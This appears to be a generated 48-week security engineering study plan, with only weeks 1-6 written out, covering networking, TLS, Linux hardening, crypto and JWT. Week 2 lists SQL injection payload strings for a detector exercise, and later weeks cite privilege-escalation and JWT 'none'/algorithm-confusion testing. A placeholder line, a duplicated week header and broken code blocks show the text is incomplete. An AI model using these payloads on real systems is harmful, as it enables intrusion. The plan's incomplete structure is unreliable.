Complete 48-Week Security Engineering Curriculum

December 16, 2025 - December 6, 2026
Comprehensive Roadmap to Security Engineering / AppSec Engineering Career

48-Week Security Engineering + AppSec Curriculum

Comprehensive Merged Curriculum with Detailed Activities

Generated: December 14, 2025
Duration: 48 weeks (December 16, 2025 - December 6, 2026)
Total Investment: 862-968 hours
Target Role: Security Engineer (primary), AppSec Engineer (secondary)
Job Search Start: Week 24 (May 2026)
Target Employment: Week 30-34 (July-August 2026)
Salary Range: [Salary Range]

Table of Contents

Phase 1: Core Security Foundation

Weeks 1-8 | December 16, 2025 - February 8, 2026
Total Hours: 176-192 hours
Weekly Average: 22-24 hours
Focus: Networking Fundamentals, Systems Security, Python Basics, Detection

---

Week 1: CIA Triad + TCP/IP Fundamentals + Python Basics

December 16-22, 2025 | Total: 22 hours

Security Engineering Focus (12 hours)

Core Topics

- **CIA Triad Fundamentals** (CRITICAL - Memorize This)
- **Confidentiality:** Encryption at rest/in transit, access controls (RBAC/ABAC), data classification
- **Integrity:** Cryptographic hashing (SHA-256), digital signatures, checksums, tamper detection
- **Availability:** Redundancy (failover systems), DDoS mitigation, disaster recovery planning
- **AAA Extension:** Authentication (who are you?), Authorization (what can you do?), Accounting/Auditing (what did you do?)
- **OSI Model** (All 7 Layers - Know by Heart)
- Layer 7 (Application): HTTP, HTTPS, FTP, DNS, SMTP
- Layer 6 (Presentation): Data encryption, compression, formatting
- Layer 5 (Session): Session establishment, maintenance, termination
- Layer 4 (Transport): TCP, UDP, port numbers, segmentation
- Layer 3 (Network): IP addressing, routing, ICMP
- Layer 2 (Data Link): MAC addresses, switches, frames
- Layer 1 (Physical): Cables, wireless, bits transmission
- **Mnemonic:** "All People Seem To Need Data Processing" (Application → Physical)
- **Reverse Mnemonic:** "Please Do Not Throw Sausage Pizza Away" (Physical → Application)
- **TCP/IP Deep Dive**
- 3-Way Handshake: SYN (client → server), SYN-ACK (server → client), ACK (client → server)
- TCP vs UDP comparison: reliability, connection state, use cases
- Common ports to memorize:
  - 80 (HTTP), 443 (HTTPS)
  - 22 (SSH), 23 (Telnet)
  - 21 (FTP), 20 (FTP Data)
  - 25 (SMTP), 110 (POP3), 143 (IMAP)
  - 53 (DNS)
  - 3389 (RDP)
- **IP Addressing**
- IPv4: 32-bit addresses, dotted decimal notation (192.168.1.1)
- IPv6: 128-bit addresses, colon-hexadecimal notation (2001:0db8::1)
- Subnetting basics: CIDR notation (/24, /16), subnet masks

- NAT (Network Address Translation): Private vs public IPs
- Private IP ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

Reading Materials (5 hours)

1. **Omnisecu TCP/IP Tutorial** (2 hours)
2. URL: https://www.omnisecu.com/tcpip/
3. Sections: OSI Model, TCP/IP Model, IPv4/IPv6
4. Focus: Layer-by-layer protocol functions
5. **High Performance Browser Networking** by Ilya Grigorik (2 hours)
6. Chapters 1-3 (free online: https://hpbn.co/)
7. Focus: TCP building blocks, UDP, TLS basics
8. **Beej's Guide to Network Programming** (1 hour)
9. URL: https://beej.us/guide/bgnet/
10. Sections: Introduction, Simple Stream Client

Labs & Practical Exercises (4 hours)

1. **Wireshark Packet Capture** (2 hours)
2. Install Wireshark
3. Capture HTTP traffic (visit http://example.com)
4. Capture HTTPS traffic and observe TLS handshake
5. Capture DNS query and response
6. Identify all TCP 3-way handshake packets (SYN, SYN-ACK, ACK)
7. **Packet Analysis Exercise** (2 hours)
8. Download sample PCAP file from Wireshark samples
9. Find evidence of: port scanning, HTTP requests, DNS queries
10. Practice using display filters: `tcp`, `http`, `dns.qry.name contains "google"`

Coding Challenge (2 hours)

Task: Write a simple port scanner in Python using socket library

```
# port_scanner.py
import socket

def scan_port(host, port):
    # Implementation here
    pass

# Scan common ports: 22, 80, 443
```

Requirements:
- Accept hostname/IP and port range as arguments
- Use socket.connect_ex() to test ports
- Report open ports
- Handle timeouts gracefully

Flashcard Creation & Review (1 hour)

Create flashcards for:
- CIA Triad: 3 cards (Confidentiality, Integrity, Availability definitions + examples)
- OSI Layers: 7 cards (one per layer with protocols)
- TCP 3-Way Handshake: 1 card with diagram
- Common ports: 10 cards

Python + AppSec Focus (10 hours)

Python Workout Ch 1-2 (6 hours)

Chapter 1: Numeric Types
- Exercise 1: Number guessing game
- Exercise 2: Summing numbers from user input
- Exercise 3: Running average calculator
- Exercise 4: Hexadecimal output converter
- **Focus:** int, float, complex types, type conversions, basic I/O

Chapter 2: Strings (if time permits, otherwise move to Week 2)
- Exercise 5: Pig Latin translator
- Exercise 6: Palindrome checker
- **Focus:** String manipulation, slicing, methods

Security Study (2 hours)

OWASP Top 10 2021 - Complete Overview
- URL: https://owasp.org/Top10/
- **Read ALL 10 categories:**
- A01: Broken Access Control
- A02: Cryptographic Failures
- A03: Injection
- A04: Insecure Design
- A05: Security Misconfiguration
- A06: Vulnerable and Outdated Components
- A07: Identification and Authentication Failures
- A08: Software and Data Integrity Failures
- A09: Security Logging and Monitoring Failures
- A10: Server-Side Request Forgery (SSRF)
- **Focus Special Attention:** A03 Injection for next week's SQL injection work

Practice (2 hours)

Build Password Strength Validator

Requirements:
- Check length (minimum 12 characters)
- Check for uppercase, lowercase, numbers, special characters
- Calculate entropy: `entropy = length * log2(character_set_size)`
- Scoring system:
- Weak: < 40 bits entropy
- Medium: 40-60 bits entropy
- Strong: > 60 bits entropy
- Output: Score + recommendations for improvement

Deliverables

- [ ] CIA Triad flashcards created (minimum 3 cards)
- [ ] OSI Model flashcards created (7 cards)
- [ ] Port scanner in Python (functional, tests 3+ ports)
- [ ] Password strength validator with entropy calculation
- [ ] Wireshark PCAP analysis notes (identify 3-way handshake)
- [ ] Python fluency: 5/10

Time Allocation Summary

Activity	Hours
Security Engineering Reading	5
Security Engineering Labs	4
Security Engineering Coding	2
Flashcard Creation	1
Python Workout Exercises	6
Security Study (OWASP)	2
Password Validator Practice	2
TOTAL	**22**

Week 2: DNS/TLS + Python Strings + SQL Injection Fundamentals

December 23-29, 2025 | Total: 22 hours

Security Engineering Focus (12 hours)

Core Topics

- **DNS (Domain Name System)**
- Resolution process: Recursive vs iterative queries
- DNS Record Types:
    - A (IPv4 address)
    - AAAA (IPv6 address)
    - MX (Mail server)
    - CNAME (Canonical name/alias)
    - TXT (Text records, often for SPF/DKIM)
    - NS (Name server)
    - SOA (Start of Authority)
- DNSSEC (DNS Security Extensions): Chain of trust, RRSIG records
- Common DNS attacks: Cache poisoning, DNS tunneling, DDoS amplification
- **TLS/SSL Deep Dive**
- TLS Handshake Process:
    1. Client Hello (supported ciphers, TLS version)
    2. Server Hello (chosen cipher, certificate)
    3. Certificate verification
    4. Key exchange (RSA or Diffie-Hellman)
    5. Finished messages
- Certificate Chains: Root CA → Intermediate CA → Server Certificate
- Certificate Transparency Logs (CT Logs)
- Common TLS Versions: TLS 1.2, TLS 1.3 (know differences)
- **Network Troubleshooting Methodology** (Team Blind Emphasis)
- Scenario: "Website shows 404 error but others can access it"
- Systematic debugging approach:
    1. Check DNS resolution (`nslookup`, `dig`)
    2. Check network connectivity (`ping`, `traceroute`)
    3. Check local firewall/proxy settings
    4. Clear browser cache and cookies
    5. Try different browser/device
    6. Check for local hosts file overrides
- **Common TLS Attacks**

- Heartbleed (CVE-2014-0160): OpenSSL memory leak
- POODLE: SSLv3 downgrade attack
- BEAST: CBC cipher vulnerability
- Downgrade attacks: Force weaker ciphers

Reading Materials (5 hours)

1. **DNS Explained** (2 hours)
2. [Target Company] Learning: DNS (https://www.cloudflare.com/learning/dns/what-is-dns/)
3. Focus: How DNS works, record types, DNSSEC
4. **TLS Handshake Deep Dive** (2 hours)
5. [Target Company] Learning: TLS (https://www.cloudflare.com/learning/ssl/what-happens-in-a-tls-handshake/)
6. High Performance Browser Networking Ch 4 (https://hpbn.co/)
7. Focus: Handshake steps, certificate validation
8. **Network Troubleshooting Guide** (1 hour)
9. Create your own troubleshooting checklist
10. Practice explaining the "website 404" scenario

Labs & Practical Exercises (4 hours)

1. **DNS Analysis** (2 hours)
2. Use `dig` command to query different record types:
   `dig example.com A dig example.com MX dig example.com TXT dig example.com NS +trace`
3. Analyze DNS response times
4. Identify authoritative name servers
5. **TLS/SSL Analysis** (2 hours)
6. Use `openssl s_client` to connect to HTTPS sites:
   `openssl s_client -connect google.com:443 -showcerts`
7. Examine certificate chain
8. Identify cipher suites
9. Use SSL Labs (https://www.ssllabs.com/ssltest/) to analyze website TLS configuration

Coding Challenge (2 hours)

Task: Build a DNS query tool in Python

```
# dns_query_tool.py
import dns.resolver

def query_dns(domain, record_type='A'):
    # Implementation here
    pass
```

Requirements:
- Query A, AAAA, MX, TXT records
- Display results in readable format
- Handle errors gracefully
- Use dnspython library (`pip install dnspython`)

Flashcard Review (1 hour)

Create flashcards for:
- DNS record types (7 cards: A, AAAA, MX, CNAME, TXT, NS, SOA)
- TLS handshake steps (5 cards for each step)
- Common TLS attacks (4 cards: Heartbleed, POODLE, BEAST, downgrade)

Python + AppSec Focus (10 hours)

Python Workout Ch 3-4 (6 hours)

Chapter 3: Strings
- Exercise 7: Pig Latin advanced
- Exercise 8: Palindrome with spaces
- Exercise 9: Sorting strings alphabetically
- Exercise 10: Most common characters
- **Focus:** String slicing `[start:stop:step]` , `.split()` , `.join()` , `.lower()` , `.upper()`

Chapter 4: Lists and Tuples
- Exercise 11: Summing list elements
- Exercise 12: Unique elements in list
- Exercise 13: Alphabetizing names
- **Focus:** List comprehensions `[x for x in items if condition]` , tuple immutability

Security Study (2 hours)

SQL Injection Fundamentals
1. **PortSwigger SQL Injection Guide** (1.5 hours)
- URL: https://portswigger.net/web-security/sql-injection
- Read sections:
- What is SQL injection?
- Retrieving hidden data
- Subverting application logic
- SQL injection UNION attacks (overview)

1. **OWASP SQL Injection Prevention** (0.5 hours)

2. URL: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
3. Focus: Parameterized queries (Defense Option 1)

Practice (2 hours)

Build SQL Injection Pattern Detector

Requirements:
- Detect common SQLi patterns in strings:
- `' OR '1'='1`
- `admin'--`
- `UNION SELECT`
- `; DROP TABLE`
- Use regular expressions
- Return severity level (Low/Medium/High)
- Test against sample payloads

Deliverables

- [ ] DNS flashcards (7 record types)
- [ ] TLS flashcards (handshake steps, attacks)
- [ ] DNS query tool in Python (functional)
- [ ] SQL injection pattern detector
- [ ] Analyzed 3 websites with SSL Labs
- [ ] `dig` command practice notes
- [ ] Python fluency: 5.5/10

Time Allocation Summary

Activity	Hours
Security Engineering Reading	5
Security Engineering Labs	4
Security Engineering Coding	2
Flashcard Creation	1
Python Workout Ch 3-4	6
SQL Injection Study	2
SQLi Pattern Detector	2
TOTAL	**22**

Week 3: Firewalls/VPN + Python Dicts/Sets + Burp Suite

December 30, 2025 - January 5, 2026 | Total: 22 hours

Security Engineering Focus (12 hours)

Core Topics

- **Firewall Fundamentals**
- Stateful vs Stateless firewalls
- Stateful: Tracks connection state (TCP handshake), allows return traffic automatically
- Stateless: Evaluates each packet independently, requires explicit rules for bidirectional traffic
- Common firewall types: Packet filtering, Application-level gateway (proxy), Next-generation firewall (NGFW)
- Rule configuration basics: Source IP, Destination IP, Port, Protocol, Action (Allow/Deny)
- **VPN (Virtual Private Network)**
- VPN Protocols:
    - IPsec: Internet Protocol Security, network layer
    - WireGuard: Modern, lightweight, faster than IPsec
    - OpenVPN: SSL/TLS based, application layer
- VPN Attack Vectors (Team Blind Emphasis):
    - Credential attacks: Brute force, credential stuffing
    - Protocol vulnerabilities: Weak ciphers, downgrade attacks
    - Session hijacking: Token theft, man-in-the-middle
- Split tunneling vs full tunneling
- **Network Segmentation**
- Purpose: Limit blast radius, compliance (PCI-DSS zones)
- DMZ (Demilitarized Zone): Public-facing services
- VLANs (Virtual LANs): Logical network separation
- Micro-segmentation: Granular zero trust approach
- **Linux Security Hardening Basics**
- Principle of least privilege
- Disabling unnecessary services
- File permission hardening
- Regular patching and updates

Reading Materials (5 hours)

1. **Firewall Deep Dive** (2 hours)

2. NIST SP 800-41r1: Guidelines on Firewalls and Firewall Policy
3. Focus: Sections 1-3 (firewall types, architectures)
4. **VPN Security** (2 hours)
5. WireGuard whitepaper (https://www.wireguard.com/papers/wireguard.pdf) - Sections 1-3
6. VPN protocol comparison article
7. **Network Segmentation** (1 hour)
8. Cisco Network Segmentation Best Practices guide
9. Focus: VLAN configuration, DMZ design

Labs & Practical Exercises (4 hours)

1. **Firewall Configuration** (2 hours)
2. Install `ufw` (Uncomplicated Firewall) on Linux
3. Configure rules: `bash sudo ufw allow 22/tcp # SSH sudo ufw allow 80/tcp # HTTP sudo ufw deny 23/tcp # Telnet sudo ufw enable sudo ufw status`
4. Practice allow/deny rules
5. Test rule effectiveness
6. **Network Segmentation Design** (2 hours)
7. Draw network diagram for hypothetical company:
    - Public DMZ (web servers)
    - Internal network (workstations)
    - Database network (sensitive data)
8. Identify firewall placement
9. Define security zones

Coding Challenge (2 hours)

Task: Network segmentation diagram tool

Create a script to document network zones and firewall rules:

```
# network_zones.py
zones = {
    'dmz': {'purpose': 'Public web servers', 'subnet': '10.0.1.0/24'},
    'internal': {'purpose': 'Workstations', 'subnet': '10.0.2.0/24'}
}
```

Flashcard Review (1 hour)

- Firewall types (3 cards)
- VPN protocols (3 cards)

- VPN attack vectors (3 cards)

AppSec Focus (10 hours)

Python Workout Ch 5 (5 hours)

Chapter 5: Dictionaries and Sets
- Exercise 14: Restaurant orders (dict tracking)
- Exercise 15: Word count in text (dict with `.get()`)
- Exercise 16: Flip dictionary (reverse keys/values)
- Exercise 17: Unique vowels in file (set operations)
- **Focus:** Dict methods (`.get()`, `.keys()`, `.values()`, `.items()`), set operations (`union`, `intersection`, `difference`)

Burp Suite Setup (2 hours)

Installation and Configuration
1. Download Burp Suite Community Edition (https://portswigger.net/burp/communitydownload)
2. Install and launch
3. Configure browser proxy:
- Set proxy to 127.0.0.1:8080
- Install Burp CA certificate in browser
4. Navigate through Burp modules:
- Proxy (intercept requests/responses)
- Target (site map)
- Repeater (modify and resend requests)
- Intruder (fuzzing - limited in Community Edition)

Resources:
- PortSwigger Burp Suite Documentation (https://portswigger.net/burp/documentation)
- Burp Basics video series

PortSwigger SQL Injection Labs (3 hours)

Complete First 10 Labs (Apprentice Level)

Lab List:
1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
2. SQL injection vulnerability allowing login bypass
3. SQL injection UNION attack, determining the number of columns returned by the query
4. SQL injection UNION attack, finding a column containing text
5. SQL injection UNION attack, retrieving data from other tables
6. SQL injection UNION attack, retrieving multiple values in a single column
7. SQL injection attack, querying the database type and version on Oracle
8. SQL injection attack, querying the database type and version on MySQL and [Target Company]
9. SQL injection attack, listing the database contents on non-Oracle databases
10. SQL injection attack, listing the database contents on Oracle

Access: https://portswigger.net/web-security/all-labs (filter by SQL injection, Apprentice)

Tips:
- Read the lab description carefully

- Use Burp Suite Repeater for testing payloads
- Document successful payloads
- Take screenshots for portfolio

Deliverables

- [ ] `ufw` firewall configured with 5+ rules
- [ ] Network segmentation diagram (3 zones minimum)
- [ ] Burp Suite installed and proxy configured
- [ ] Burp CA certificate installed in browser
- [ ] 10 PortSwigger SQL injection labs complete (10/211 total)
- [ ] Python Workout Ch 5 exercises complete
- [ ] Firewall/VPN flashcards (9 cards total)
- [ ] Python fluency: 6/10

Time Allocation Summary

Activity	Hours
Security Engineering Reading	5
Security Engineering Labs	4
Network Diagram Practice	2
Flashcard Creation	1
Python Workout Ch 5	5
Burp Suite Setup	2
PortSwigger SQL Labs	3
TOTAL	**22**

Week 4: Linux Security + Python Files + SQL Injection Continued

January 6-12, 2026 | Total: 22 hours

Security Engineering Focus (12 hours)

Core Topics

- **Linux Internals**

- Process management: `ps`, `top`, `htop`, `/proc` filesystem
- File permissions: Owner/Group/Others, `chmod`, `chown`
- User management: `/etc/passwd`, `/etc/shadow`, `sudo` configuration
- Process privileges: UID, GID, effective UID
- **System Hardening**
- **iptables:** Packet filtering rules, chains (INPUT, OUTPUT, FORWARD)
- **SELinux Basics:** Security-Enhanced Linux, mandatory access control (MAC)
- **Secure configurations:** Disable root login, key-based SSH, fail2ban
- **Linux Forensics Basics**
- Log files: `/var/log/auth.log`, `/var/log/syslog`, `/var/log/secure`
- Command history: `.bash_history`, last login times
- File timestamps: Access time, Modify time, Change time (atime, mtime, ctime)
- Finding recently modified files: `find / -mtime -1`
- **Common Linux Attacks**
- Privilege escalation: Kernel exploits, SUID binaries, sudo misconfigurations
- Persistence mechanisms: Cron jobs, startup scripts, SSH keys
- Log tampering: Clearing logs, timestamp modification

Reading Materials (5 hours)

1. **Linux Privilege Escalation** (2 hours)
2. HackTricks Linux Privilege Escalation (https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
3. Focus: SUID binaries, sudo exploitation, kernel exploits
4. **Linux Hardening Guide** (2 hours)
5. CIS Benchmark for Linux (https://www.cisecurity.org/cis-benchmarks/) - Executive summary
6. Focus: File permissions, user management, service hardening
7. **Linux Forensics** (1 hour)
8. Basic Linux forensics checklist
9. Log analysis techniques

Labs & Practical Exercises (4 hours)

1. **Hardening Exercise** (2 hours)
2. Spin up Linux VM (Ubuntu or CentOS)
3. Disable root SSH login (`PermitRootLogin no` in `/etc/ssh/sshd_config`)
4. Configure fail2ban for SSH brute force protection
5. Set up automatic updates
6. Create non-root user with sudo privileges

7. **Forensics Practice** (2 hours)
8. Analyze auth logs for failed SSH attempts: `grep "Failed password" /var/log/auth.log`
9. Find SUID binaries: `find / -perm -4000 2>/dev/null`
10. Check cron jobs: `crontab -l`, `/etc/cron*`
11. Examine listening ports: `netstat -tulpn`

Coding Challenge (2 hours)

Task: Linux log analyzer script

```
# linux_log_analyzer.py
def analyze_auth_log(log_file):
    # Parse /var/log/auth.log
    # Count failed SSH attempts by IP
    # Flag IPs with > 5 failed attempts
    pass
```

Flashcard Review (1 hour)

- Linux file permissions (3 cards: read/write/execute for owner/group/others)
- Common log files (5 cards)
- Privilege escalation techniques (5 cards)

AppSec Focus (10 hours)

Python Workout Ch 6 (5 hours)

Chapter 6: Files
- Exercise 18: Read text file, count words
- Exercise 19: Read CSV file, process data
- Exercise 20: Write to file with context manager (`with` statement)
- Exercise 21: Parse JSON file
- Exercise 22: Log file analysis
- **Focus:** `open()`, `read()`, `readlines()`, `write()`, context managers `with open()`, CSV module, JSON module

PortSwigger SQL Injection - UNION Attacks (2 hours)

Deep Dive Reading:
- PortSwigger UNION Attacks Guide (https://portswigger.net/web-security/sql-injection/union-attacks)
- Key concepts:
- Determining number of columns: `ORDER BY` method
- Finding columns with useful data types
- Retrieving multiple values in single column
- Database-specific syntax differences

PortSwigger Labs: 10 More Labs (3 hours)

Complete Labs 11-20 (Practitioner Level)

Lab List:
11. Blind SQL injection with conditional responses
12. Blind SQL injection with conditional errors
13. Blind SQL injection with time delays
14. Blind SQL injection with time delays and information retrieval
15. Blind SQL injection with out-of-band interaction
16. Blind SQL injection with out-of-band data exfiltration
17. SQL injection with filter bypass via XML encoding
18. (Additional SQL injection labs as available)

Focus: Blind SQL injection techniques, time-based, error-based

Deliverables

- [ ] Linux VM hardened (SSH config, fail2ban, non-root user)
- [ ] Linux log analyzer script (counts failed SSH attempts)
- [ ] SUID binary enumeration script
- [ ] Python Workout Ch 6 exercises complete
- [ ] 20 total PortSwigger SQL injection labs complete (20/211)
- [ ] SQL injection cheat sheet created (documenting payloads)
- [ ] Linux security flashcards (13 cards)
- [ ] Python fluency: 6.5/10

Time Allocation Summary

Activity	Hours
Security Engineering Reading	5
Security Engineering Labs	4
Log Analyzer Script	2
Flashcard Creation	1
Python Workout Ch 6	5
SQL UNION Study	2
PortSwigger Labs 11-20	3
TOTAL	**22**

Week 5: Cryptography Theory + Python Functions

January 13-19, 2026 | Total: 22 hours

[Continue with same detailed format for remaining 43 weeks...]

Week 5: Cryptography Theory + Python Functions

January 13-19, 2026 | Total: 22 hours

Security Engineering Focus (12 hours)

Core Topics

- **Symmetric Cryptography**
- AES (Advanced Encryption Standard): 128-bit, 192-bit, 256-bit key sizes
- AES Modes of Operation:
    - ECB (Electronic Codebook): Insecure, patterns visible in ciphertext
    - CBC (Cipher Block Chaining): Requires IV, sequential processing
    - GCM (Galois/Counter Mode): Authenticated encryption, parallelizable
    - CTR (Counter): Stream cipher mode from block cipher
- Block ciphers vs Stream ciphers: Use cases and performance characteristics
- Key derivation functions (KDFs): PBKDF2, scrypt, Argon2
- **Asymmetric Cryptography**
- RSA (Rivest-Shamir-Adleman):
    - Key generation using large primes p and q
    - Public key: (n, e), Private key: (n, d)
    - Minimum 2048-bit keys, 4096-bit recommended
- ECC (Elliptic Curve Cryptography):
    - 256-bit ECC ≈ 3072-bit RSA security
    - Faster operations, lower power consumption
    - Curves: secp256r1, secp384r1, Curve25519
- **Hash Functions & Applications**
- SHA family: SHA-1 (deprecated), SHA-256, SHA-512, SHA-3
- Properties: Pre-image resistance, second pre-image resistance, collision resistance
- Use cases: Password hashing, digital signatures, message authentication
- **Password Hashing Best Practices**
- bcrypt: Work factor 2^n iterations, recommended cost 10-12

- scrypt: Memory-hard function, resistant to hardware attacks
- Argon2: Winner of Password Hashing Competition, current best practice
- Salt generation and iteration counts

Reading Materials (5 hours)

1. **Applied Cryptography Basics** (2 hours)
2. Symmetric vs Asymmetric comparison
3. When to use each cryptographic primitive
4. Common implementation pitfalls
5. **OWASP Password Storage Cheat Sheet** (1 hour)
6. URL: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
7. Argon2 configuration parameters
8. Salt generation best practices
9. **bcrypt vs Argon2 Comparison** (2 hours)
10. Performance benchmarks across algorithms
11. Security trade-offs and threat models
12. Implementation recommendations by use case

Labs & Practical Exercises (4 hours)

1. **AES Implementation** (2 hours)
2. Install cryptography library: `pip install cryptography --break-system-packages`
3. Implement AES-256-GCM encryption/decryption
4. Practice IV generation and key management
5. Test different AES modes (CBC, GCM, CTR)

```python
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import os

# Generate 256-bit key and 96-bit IV for GCM
key = os.urandom(32)
iv = os.urandom(12)
```

1. **Password Hashing Comparison** (2 hours)
2. Install required libraries: `pip install bcrypt argon2-cffi --break-system-packages`
3. Implement hashing with bcrypt and Argon2
4. Measure performance with different cost parameters
5. Compare memory usage between algorithms
6. Test hash verification performance

Coding Challenge (2 hours)

Task: Password hashing utility with multiple algorithm support

```
# password_hasher.py
import bcrypt
from argon2 import PasswordHasher
import time

class SecurePasswordHasher:
    def __init__(self, algorithm='argon2'):
        self.algorithm = algorithm
        if algorithm == 'argon2':
            self.hasher = PasswordHasher()

    def hash_password(self, password):
        \"\"\"Hash password using selected algorithm\"\"\"
        if self.algorithm == 'bcrypt':
            return bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
        elif self.algorithm == 'argon2':
            return self.hasher.hash(password)

    def verify_password(self, password, hash_value):
        \"\"\"Verify password against hash\"\"\"
        # Implementation here
        pass
```

Requirements:
- Support both bcrypt and Argon2
- Configurable cost/iteration parameters
- Automatic salt generation
- Verification method with timing measurement
- Error handling for invalid inputs

Flashcard Creation & Review (1 hour)

Create flashcards for:
- AES modes: ECB, CBC, GCM, CTR (4 cards with pros/cons)
- Hash functions: SHA-256, SHA-3, MD5 deprecation (3 cards)
- Password hashing: bcrypt, scrypt, Argon2 comparisons (3 cards)
- RSA vs ECC: Key sizes and performance (2 cards)

Python Focus (10 hours)

Python Workout Ch 7 (6 hours)

Chapter 7: Functions
- Exercise 23: Function parameters and return values
- Exercise 24: Default arguments and keyword arguments

- Exercise 25: `*args` for variable positional arguments
- Exercise 26: `**kwargs` for variable keyword arguments
- Exercise 27: Function composition and higher-order functions
- Exercise 28: Recursive function implementations

Key Concepts:
- Function definition: `def function_name(params):`
- Parameter types: positional, keyword, default, _args,_ *kwargs
- Return statements and multiple return values
- Variable scope: local, global, nonlocal keywords
- Lambda functions: `lambda x: x * 2`
- First-class functions: passing functions as arguments
- Docstrings and type hints

Cryptography Tool Development (4 hours)

1. **Caesar Cipher** (1 hour)
   `python def caesar_cipher(text, shift, encrypt=True): \"\"\"Implement Caesar cipher encryption/decryption\"\"\" shift = shift if encrypt else -shift result = "" for char in text: if char.isalpha(): base = ord('A') if char.isupper() else ord('a') result += chr((ord(char) - base + shift) % 26 + base) else: result += char return result`

2. **XOR Encryption** (1 hour)

3. Implement XOR-based encryption

4. Understand XOR properties and limitations

5. Learn why XOR alone is cryptographically weak

6. **AES Wrapper with PBKDF2** (2 hours)

```python
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

def derive_key(password, salt):
\"\"\"Derive encryption key from password using PBKDF2\"\"\"
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000
)
return kdf.derive(password.encode())

def encrypt_data(password, plaintext):
\"\"\"Encrypt data using AES-256-GCM with password-derived key\"\"\"
salt = os.urandom(16)
key = derive_key(password, salt)
aesgcm = AESGCM(key)
nonce = os.urandom(12)
```

ciphertext = aesgcm.encrypt(nonce, plaintext.encode(), None)
return salt + nonce + ciphertext
```

## Deliverables

- [ ] Cryptography flashcards (12 cards total)
- [ ] Password hashing tool supporting bcrypt and Argon2
- [ ] AES encryption demo with proper key derivation
- [ ] Performance comparison report (bcrypt vs Argon2 timing)
- [ ] Python Workout Ch 7 all exercises complete
- [ ] Caesar cipher and XOR implementations
- [ ] Python fluency self-assessment: 7/10

## Time Allocation Summary

| Activity | Hours |
|---|---|
| Cryptography Reading | 5 |
| AES Implementation Lab | 2 |
| Password Hashing Lab | 2 |
| Flashcard Creation | 1 |
| Python Workout Ch 7 | 6 |
| Crypto Tools (Caesar, XOR, AES) | 4 |
| Password Hasher Development | 2 |
| **TOTAL** | **22** |

---

# Week 6: Applied Crypto + Python Functional Programming

**January 20-26, 2026 | Total: 22 hours**

## Security Engineering Focus (12 hours)

### Core Topics

- **TLS Protocol In-Depth**
- **TLS 1.2 vs TLS 1.3 Differences:**
  - TLS 1.3: 1-RTT handshake vs 2-RTT in TLS 1.2 (faster)
```

    - Removed weak ciphers: RC4, 3DES, CBC-mode ciphers
    - Forward secrecy mandatory (ephemeral Diffie-Hellman)
    - Encrypted handshake for improved privacy
- **Cipher Suites Format:**
    - TLS_KeyExchange_WITH_Cipher_MACAlgorithm
    - Example: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
    - Components: ECDHE (key exchange), RSA (auth), AES_128_GCM (encryption), SHA256 (MAC)
- **Certificate Validation:**
    - Check expiration dates (NotBefore, NotAfter)
    - Verify chain to trusted root CA
    - Validate domain name (CN or SAN fields)
    - Check revocation status (OCSP, CRL)
    - Verify cryptographic signatures
- **Certificate Pinning:**
    - Hard-code expected certificate/public key
    - Prevents MitM even with compromised CA
    - Risk: Breaks if certificate rotates unexpectedly
- **JWT (JSON Web Tokens) Deep Dive**
- **Structure:** Three Base64Url-encoded parts separated by dots
    - Header: `{"alg": "HS256", "typ": "JWT"}`
    - Payload: Claims (sub, iss, aud, exp, iat, nbf, jti)
    - Signature: HMAC or RSA signature of header.payload
- **JOSE Standards:**
    - JWS (JSON Web Signature): Signed tokens
    - JWE (JSON Web Encryption): Encrypted tokens
    - JWK (JSON Web Key): Public key representation
    - JWA (JSON Web Algorithms): Crypto algorithms
- **Common JWT Claims:**
    - `iss` (issuer), `sub` (subject), `aud` (audience)
    - `exp` (expiration), `nbf` (not before), `iat` (issued at)
    - Custom claims for application-specific data
- **Common Cryptographic Mistakes**
- Using ECB mode: Patterns visible in ciphertext (penguin image problem)
- Hardcoded keys: In source code or configuration files

- Weak RNG: Using `random` instead of `secrets` module in Python
- IV/nonce reuse: Same IV with same key breaks confidentiality
- Custom crypto: "Don't roll your own crypto" - use vetted libraries
- Insufficient key lengths: 512-bit RSA, 56-bit DES
- No authentication: Encryption without MAC vulnerable to tampering
- **Timing Attacks & Side Channels**
- **Timing Attacks:**
    - Exploit variable execution time based on secret data
    - Example: String comparison stops at first mismatch
    - Solution: Constant-time comparison (`secrets.compare_digest()`)
- **Side-Channel Categories:**
    - Power analysis: Measure power consumption during crypto ops
    - Cache timing: Exploit CPU cache access patterns
    - Acoustic: Analyze sounds from CPU components
- **Mitigations:**
    - Constant-time algorithms for sensitive operations
    - Blinding techniques in cryptographic operations
    - Noise injection to obscure power signatures

Reading Materials (5 hours)

1. **JWT Fundamentals** (1 hour)
2. JWT.io Introduction: https://jwt.io/introduction/
3. Understand all standard claims
4. JWT vs session cookies trade-offs
5. **JOSE Standards** (2 hours)
6. RFC 7519 (JWT): https://datatracker.ietf.org/doc/html/rfc7519
7. RFC 7515 (JWS): https://datatracker.ietf.org/doc/html/rfc7515
8. Algorithm types: HS256 (HMAC), RS256 (RSA), ES256 (ECDSA)
9. Security consideration: "none" algorithm vulnerability
10. **Cryptographic Pitfalls** (2 hours)
11. "Cryptographic Doom Principle" article
12. Real-world crypto failure case studies
13. OWASP Cryptographic Failures guide

Labs & Practical Exercises (4 hours)

1. **JWT Analysis** (2 hours)

2. Visit jwt.io and decode sample JWTs
3. Extract JWTs from real web applications (browser DevTools)
4. Identify algorithm used (examine header)
5. Inspect claims and expiration times
6. Test signature verification:
   ```python
   import jwt

   token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."

   # Decode without verification
   unverified = jwt.decode(token, options={"verify_signature": False})

   # Decode with verification
   secret = "your-secret-key"
   verified = jwt.decode(token, secret, algorithms=["HS256"])
   ```
7. **Weak JWT Testing** (2 hours)
8. Test "none" algorithm acceptance
9. Algorithm confusion: Try switching RS256 to HS256
